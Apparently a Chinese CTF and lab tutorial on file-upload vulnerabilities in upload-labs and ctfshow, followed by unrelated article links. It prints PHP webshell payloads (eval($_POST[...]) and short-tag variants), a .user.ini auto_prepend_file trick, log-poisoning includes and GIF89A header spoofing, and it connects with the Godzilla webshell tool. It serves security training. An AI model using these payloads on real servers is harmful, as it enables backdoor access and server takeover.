day31WEB攻防-通用漏洞文件上传js验证mimeuser.ini语言特性

目录

1.JS验证

2.JS验证+MIME 

3.JS验证+.user.ini 

4.JS验证+.user.ini+短标签 (ctfshow154,155关)

5.JS验证+.user.ini+短标签+过滤 [ ]

6.JS验证+.user.ini+短标签+加过滤+文件头


有关文件上传的知识
1.为什么文件上传存在漏洞
       上传文件时,如果服务瑞代码未对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、 aspx、php、 jsp等格式的文件)。
2.危害
       非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

本文知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.in妙用
4、文件上传-PHP语言特性

后门代码需要特定后缀格式解析,不能以图片后缀解析脚本后门代码(解析漏洞除外),如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门

本文将通过upload-labs靶场进行演示说明,关于upload-labs靶场的搭建请参考这篇文章:https://blog.csdn.net/m0_69583059/article/details/135767303?spm=1001.2014.3001.5501

1.JS验证

upload-labs靶场第一关

用哥斯拉生成一个php后门文件,打开哥斯拉点击管理->生成,将生成的后门文件重命名为hm.php(方便演示)

关于哥斯拉的使用和安装请参考这篇文章:哥斯拉安装和使用

上传png文件成功,上传hm.php文件失败

F12修改前端代码

复制php文件路径(http://localhost/upload-labs/upload/hm.php ),用哥斯拉尝试连接

 

2.JS验证+MIME 

upload-labs靶场第二关

这里直接F12修改后是没有用的

通过抓包发现上传png文件时和上传php文件时,Content-Type的值不一样

 

现在我们将上传php文件时的Content-Type值修改为image/png,我们发现上传成功

 

3.JS验证+.user.ini 

user.ini:auto_prepend_file=hm.png
hm.png:<?php eval($_POST[x]);?>

后台对文件后缀进行限制,拦截php等相关后缀,导致后门代码无法上传,这里我们要用到.user.ini注意.user.ini的使用是有条件的,只适用于php,别的语言可能不支持,这里主要讲解思路,语言不一样,但思路都差不多,可以自己去了解一下,别的语言有没有类似与.uer.ini文件这样的功能。

.user.ini 文件是PHP的配置文件,用于自定义PHP的配置选项。该文件通常位于PHP安装目录的根目录下,或者在特定的网站目录下。.user.ini 文件是一个文本文件,可以使用任何文本编辑器进行编辑。它包含了PHP的配置选项和值,每个选项和值都以等号(=)分隔。当php再进行扫描的时候会读取到web目录下的ini文件,从而进行触发。

在这个配置中存在两个配置项:auto_append_file和auto_prepend_file

1.auto_prepend_file
auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。
2.auto_append_file
和auto_prepend_file类似,这个是指内容添加到文末,如果有exit会无法调用到

upload-labs靶场第五关

源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。反复观察发现没有被限制的后缀名有 .php7 以及 .ini。现在我们该怎么办呢,php文件不能上传,那么我们能不能把后门代码写在png文件里面呢,这样显然是不行的,这样会导致格式错误,这里我们就要用到php特有的.user.ini文件,上面已经介绍过了,.user.ini的配置项auto_prepend_file表示在每个PHP脚本之前自动加载指定的文件,该文件的内容将被插入到原始脚。这是什么意识呢,这里我解释一下,也就是说我们如果直接将后门代码写在png文件下是不能上传的,因为php文件被拦截了,所以这里我们要借auto_prepend_file,将png文件设定为指定文件,这样png文件里面的后门代码就会插入到原脚本(也就是和传入文件同目录的php文件,这里是readme.php), 这样我们就成功将后门代码植入到了php文件中,而index.php文件本来就是项目文件,这样就可以通过index.php连接哥斯拉了。

现在我们创建一个.user.ini文件,在文件里写入auto_prepend_file=hm.png。然后将我们生成的木马文件hm.php改为hm.png,然后将这两个文件上传

现在我们尝试一下用readme.php连接哥斯拉

测试连接成功 

4.JS验证+.user.ini+短标签 (ctfshow154,155关)

user.ini:auto_prepend_file=text.png
text.png:<?=eval($_POST[pass]);?>

后台对文件后缀以及短标签<?php进行限制,这个时候不但要考虑php后缀文件不能上传,还要考虑后门代码不能出现<?php

这里有几种替换短标签<?php的方法,效果是一样的,一般用第二种和第四种,因为不需要前提条件

1.<?echo '123';?>  //前提是开启配置参数short_open_tags=on

2.<?=(表达式)?>    //不需要开启参数设置

将<?php eval($_POST[pass]);?>替换成<?=eval($_POST[pass]);?>

3.<% echo '123';%>  //前提是开启了配置参数asp_tags=on

4.<script language="php">echo '1'</script> //不用修改参数开关

5.JS验证+.user.ini+短标签+过滤 [ ]

过滤[],用{}替代(ctfshow156关)

user.ini:auto_prepend_file=hm.png
hm.png:<?=eval($_POST{pass});?>

过滤了后门语句的分号;和php(ctfshow157关)

zm.png:<?=system('tac ../fl*')?>    

过滤了;,php,() (ctfshow158,159关)

zm.png:<?echo'tac /var/www/html/f*'?>

基本都过滤了(ctfshow160关)

包含默认日志,日志记录UA头,UA头写后门代码

user.ini:auto_prepend_file=zm.png
zm.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

6.JS验证+.user.ini+短标签+加过滤+文件头

文件头部检测是否为图片格式文件(ctfshow161关)

user.ini:GIF89A auto_prepend_file=zm.png
zm.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/346807.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[蓝桥杯]真题讲解:飞机降落(DFS枚举)

[蓝桥杯]真题讲解&#xff1a;飞机降落&#xff08;DFS枚举&#xff09; 一、视频讲解二、暴力代码&#xff08;也是正解代码&#xff09; 一、视频讲解 视频讲解 二、暴力代码&#xff08;也是正解代码&#xff09; //飞机降落&#xff1a; 暴力枚举DFS #include<bits/…

【轮式平衡机器人】——TMS320F28069片内外设之GPIO

引入 接下来的几期博客会介绍轮式平衡机器人TMS320F28069片内外设&#xff0c;了解片内外设的基本原理&#xff0c;内容较为基础&#xff0c;都是些简单的simulink模型&#xff0c;旨在将复杂的原理过渡到simulink软件应用。足够了解的博友可跳过。 后续还将会结合MATLAB/Sim…

前端学习:HTTP协议、请求响应、分层解耦

HTTP协议 HTTP-概述 HTTP&#xff1a;Hyper Text Transfer Protocol(超文本传输协议)&#xff0c;规定了浏览器与服务器之间数据传输的规则。如果想知道http协议的数据传输格式有哪些&#xff0c;可以打开浏览器&#xff0c;点击 F12 打开开发者工具&#xff0c;点击Network 来…

DataStream API(转换算子)

目录 源算子 转换算子 1&#xff0c;基本转换算子 1.1映射&#xff08;map&#xff09; 1.2过滤&#xff08;filter&#xff09; 1.3扁平映射&#xff08;flatMap&#xff09; 2&#xff0c;聚合算子 2.1按键分区&#xff08;keyBy&#xff09; 2.2简单聚合 3&#x…

2024-01-24(ElasticSearch)

1.mysql和elasticsearch的架构&#xff1a; 2.IK分词器利于分中文词汇。 底层是有一个中文字典&#xff0c;这个字典中的中文词汇也是可以拓展的和禁用某些词。 3.mapping常见属性&#xff1a; type&#xff1a;数据类型 index&#xff1a;是否索引 analyzer&#xff1a;分…

2024年mongodb自建三节点副本集详细教程

环境说明 系统centos7.9 自建服务器或云服务器&#xff0c;硬件要求不低于2核2G内存&#xff0c;20G硬盘&#xff0c;文件系统默认是ext4即可。 生产环境最好单独一个磁盘存放数据库&#xff0c;方便数据备份和还原&#xff0c;避免干扰到其他磁盘的运作。 mongodb 4.4.27 …

QT 实现自动生成小学两位数加减法算式

小学生加减法训练 QT实现–自动生成两位数加减法算式&#xff0c;并输出txt文件 可以copy到word文件&#xff0c;设置适当字体大小和行间距&#xff0c;带回家给娃做做题 void MainWindow::test(int answerMax, int count) {// 创建一个随机数生成器QRandomGenerator *gener…

引领AI变革:边缘计算与自然语言处理结合的无尽可能

引言 讲到Ai&#xff0c;你第一时间会想到什么&#xff1f;是Chagpt和文心一言这样与人类交流自然的Ai生成式对话服务&#xff1f;还是根据关键字快速制图的Ai绘图&#xff1f;这些都是近年来人们所常知的Ai用途&#xff0c;我们今天来讲讲以自然语言处理为辅&#xff0c;在Ai赋…

JS之歌词滚动案例

让我为大家带来一个歌词滚动的案例吧&#xff01; 详细的介绍都在代码块中 我很希望大家可以自己动手尝试一下&#xff0c;如果需要晴天的mp3音频文件可以私信我 上代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset&quo…

Vue好看的组件库:Element

文章目录 1、什么是Element2、Element快速入门3、Element布局3.1、 Layout 局部3.2、容器布局 1、什么是Element Element&#xff1a;是饿了么公司前端开发团队提供的一套基于 Vue 的网站组件库&#xff0c;用于快速构建网页 Element 提供了很多组件&#xff08;组成网页的部件…

使用DBSyncer同步Oracle11g数据到Mysql5.7中_实现全量数据同步和增量数据实时同步_操作过程---数据同步之DBSyncer工作笔记007

之前都是用mysql和Postgresql之间进行同步的,已经实现了数据的实时同步,现在要实现Oracle数据库到Mysql数据库的全量,以及增量同步. 因为之前配置的不对,这里架构名写成了orcl,所以导致,虽然能连接上,但是,在进行数据同步的时候,看不到表,所以这里说一下如何进行连接 这里,首先…

全球机器人产业:技术创新驱动下的市场与竞争新态势

原创 | 文 BFT机器人 近年来&#xff0c;随着颠覆性技术创新的不断涌现、市场新需求的迅速崛起以及外部冲击的深远影响&#xff0c;机器人产业正经历着前所未有的变革。在技术领域&#xff0c;机器人技术不断突破&#xff0c;智能化、自主化、协同化水平日益提升&#xff1b;在…

Java设计模式-装饰器模式(10)

大家好,我是馆长!今天开始我们讲的是结构型模式中的装饰器模式。老规矩,讲解之前再次熟悉下结构型模式包含:代理模式、适配器模式、桥接模式、装饰器模式、外观模式、享元模式、组合模式,共7种设计模式。。 装饰器模式(Decorator Pattern) 定义 装饰(Decorator)模式…

前端开发如何自己开发组件库

好多前端小伙伴干了五六年&#xff0c;一直在做切图仔&#xff0c;一看项目没啥亮点。今天开始&#xff0c;我就分享下自己开发组件库的历程。 注&#xff1a;文章会持续更新 环境 "dumi": "^2.2.0","father": "^4.1.0",这里我们站在巨…

消息中间件之八股面试回答篇:一、问题概览+MQ的应用场景+RabbitMQ如何保证消息不丢失(生产者确认机制、持久化、消费者确认机制)+回答模板

问题概览 目前主流的消息队列技术&#xff08;MQ技术&#xff09;分为RabbitMQ和Kafka&#xff0c;其中深蓝色为只要是MQ&#xff0c;一般都会问到的问题。浅蓝色是针对RabbitMQ的特性的问题。蓝紫色为针对Kafka的特性的问题。 MQ的应用场景 MQ主要提供的功能为&#xff1a;异…

Database history tablesupgraded

zabbix升级到6之后&#xff0c;配置安装完成会有一个红色输出&#xff0c;但是不影响zabbix使用&#xff0c;出于强迫症&#xff0c;找到了该问题的解决方法。 Database history tables upgraded: No. Support for the old numeric type is deprecated. Please upgrade to nume…

【新课上架】安装部署系列Ⅲ—Oracle 19c Data Guard部署之两节点RAC部署实战

01 课程介绍 Oracle Real Application Clusters (RAC) 是一种跨多个节点分布数据库的企业级解决方案。它使组织能够通过实现容错和负载平衡来提高可用性和可扩展性&#xff0c;同时提高性能。本课程基于当前主流版本Oracle 19cOEL7.9解析如何搭建2节点RAC对1节点单机的DATA GU…

LLM之RAG实战(二十一)| 使用LlamaIndex的Text2SQL和RAG的功能分析产品评论

亚马逊和沃尔玛等电子商务平台上每天都有大量的产品评论&#xff0c;这些评论是反映消费者对产品情绪的关键接触点。但是&#xff0c;企业如何从庞大的数据库获得有意义的见解&#xff1f; 我们可以使用LlamaIndex将SQL与RAG&#xff08;Retrieval Augmented Generation&#x…

中国县域统计年鉴,含县市卷和乡镇卷,时间覆盖2001-2022年

数据名称: 中国县域统计年鉴 数据格式: pdf、xls不定 数据时间: 2001-2022年 数据几何类型: 文本 数据坐标系: —— 数据来源&#xff1a;国家统计局 数据字段: 中国县域统计年鉴&#xff08;县市卷&#xff09;中国县域统计年鉴&#xff08;乡镇卷&#xff09;目录…

Unity - 将项目转为HDRP

Camera window -> Package Manager 之后会出现HDRP向导窗口&#xff0c;均点击修复。 在Edit中&#xff0c;更改项目中的材质